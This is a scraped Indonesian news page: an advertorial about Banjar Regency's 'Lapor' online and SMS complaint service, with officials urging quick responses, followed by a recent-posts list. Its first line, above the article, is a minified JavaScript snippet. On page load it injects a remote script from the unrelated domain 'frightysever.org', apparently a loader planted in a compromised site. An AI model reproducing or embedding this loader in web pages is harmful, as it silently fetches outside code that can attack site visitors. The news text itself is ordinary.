(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Advertorial

Pemkab Banjar Respons Aduan Masyarakat Lewat Program “Lapor”, Begini Caranya!


MARTAPURA, Warga Kabupaten Banjar kini memiliki saluran resmi untuk menyampaikan keluhan atau pengaduan atas pelayanan pemerintahan. Caranya?  Cukup menggunakan smartphone melalui Layanan Aspirasi dan Pengaduan Online Rakyat (Lapor) SMS ke 1708 atau melalui situs www.lapor.go.id

Nah, menindaklanjuti kemudahan akses untuk melakukan pengaduan ini, Bupati Banjar H Khalilurrahman melalui Sekretaris Daerah Nasrun Syah di Martapura, Selasa (21/11) meminta jajaran SKPD bekerja sesuai harapan masyarakat. Sebab ukuran keberhasilan program adalah berdasar kepuasan masyarakat.

“Jadi tolong secepatnya setiap ada aduan dari masyarakat langsung ditanggapi dan direspon,” tergasnya .

Kepala Dinas Komunikasi, Informatika, Statistik dan Persandian Kabupaten Banjar, HM Farid Saoufian, MS  menjelaskan, setiap aduan warga yang masuk ke aplikasi Lapor yang dikelola oleh Dinas Kominfo, akan diteruskan ke SKPD yang sesuai dengan materi pengaduan.

“Saat ini sudah ada beberapa aduan warga yang masuk, dan telah kami teruskan ke instansi yang terkait untuk segera mungkin direspon,” jelas Farid.

Dia menjelaskan, proses pengaduan cukup mudah. Yakni dengan cara ketik : BANJAR(SPASI) ISI ADUAN, lalu kirim SMS tersebut ke 1708. Maka pengaduan warga sudah tersampaikan ke aplikasi Lapor, Pemerintah Kabupaten Banjar.

Sementara itu, Kepala Ombudsman RI Kalimantan Selatan, Noorhalis Majid mengingatkan agar instansi terkait, segera merespon aduan masyarakat yang masuk pada aplikasi Lapor.  Majid meminta agar aduan tersebut jangan diabaikan, namun sesegera mungkin dijawab.

Lapor ini menurut Majid, sebagai saluran dari masyarakat untuk menyampaikan aduannya, di samping sebagai alat bagi instansi pemerintahan dalam mengukur sejauh mana keberhasilan pelayanan yang diberikan kepada warga. Instansi akan dapat melihat kelemahan suatu pelayanan, ketika pelayanan tersebut yang sering dikeluhkan oleh masyarakat.

“Jawaban paling tidak sudah disampaikan paling lama 14 hari setelah pengaduan, dan akan ada sanksi bagi pejabat yang tidak merespon aduan masyarakat tersebut.  Meski begitu jangan menunggu 14 hari, namun mesti bisa memilah, mana aduan yang harus segera direspon dan ditangani, misalnya soal BPJS karena menyangkut nyawa manusia,” harapnya. (hendera)


Desy Arfianty

Recent Posts

Gugatan Pilwali Banjarbaru ke MK, Tim Haram Manyarah Perjuangkan Pemilihan Ulang

KANALKALIMANTAN.COM, JAKARTA - Keputusan Komisi Pemilihan Umum (KPU) Kota Banjarbaru penetapan Lisa Halaby-Wartono menang pada… Read More

5 menit ago

Disporapar Balangan Survei Objek Wisata Baru di Kecamatan Halong

KANALKALIMANTAN.COM, PARINGIN - Dinas Kepemudaan, Olahraga, dan Pariwisata (Disporapar) Kabupaten Balangan melakukan survei dan penilaian… Read More

12 jam ago

KMBPD Batalkan Aksi Unjuk Rasa ke KPU Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Rencana aksi unjuk rasa pasca penetapan hasil Pemilihan Wali Kota dan Wakil… Read More

12 jam ago

Gotong Royong Warga Desa Pematang Bersihkan Aliran Sungai

KANALKALIMANTAN.COM, PARINGIN - Upaya menjaga kelestarian lingkungan dan mendukung kebutuhan air pertanian, warga Desa Pematang,… Read More

12 jam ago

5 Desember Hari Armada RI, Ini Sejarahnya

KANALKALIMANTAN.COM - Setiap 5 Desember diperingati Hari Armada Republik Indonesia (RI) sebagai penghormatan terhadap peran… Read More

12 jam ago

Revitalisasi Taman Van Der Pijl Tahap Finishing, Ada Lapangan Basket Standar FIBA

KANALKALIMANTAN.COM, BANJARBARU - Memasuki masa akhir kontrak, progres pengerjaan revitalisasi Taman Van Der Pijl menjadi… Read More

13 jam ago

This website uses cookies.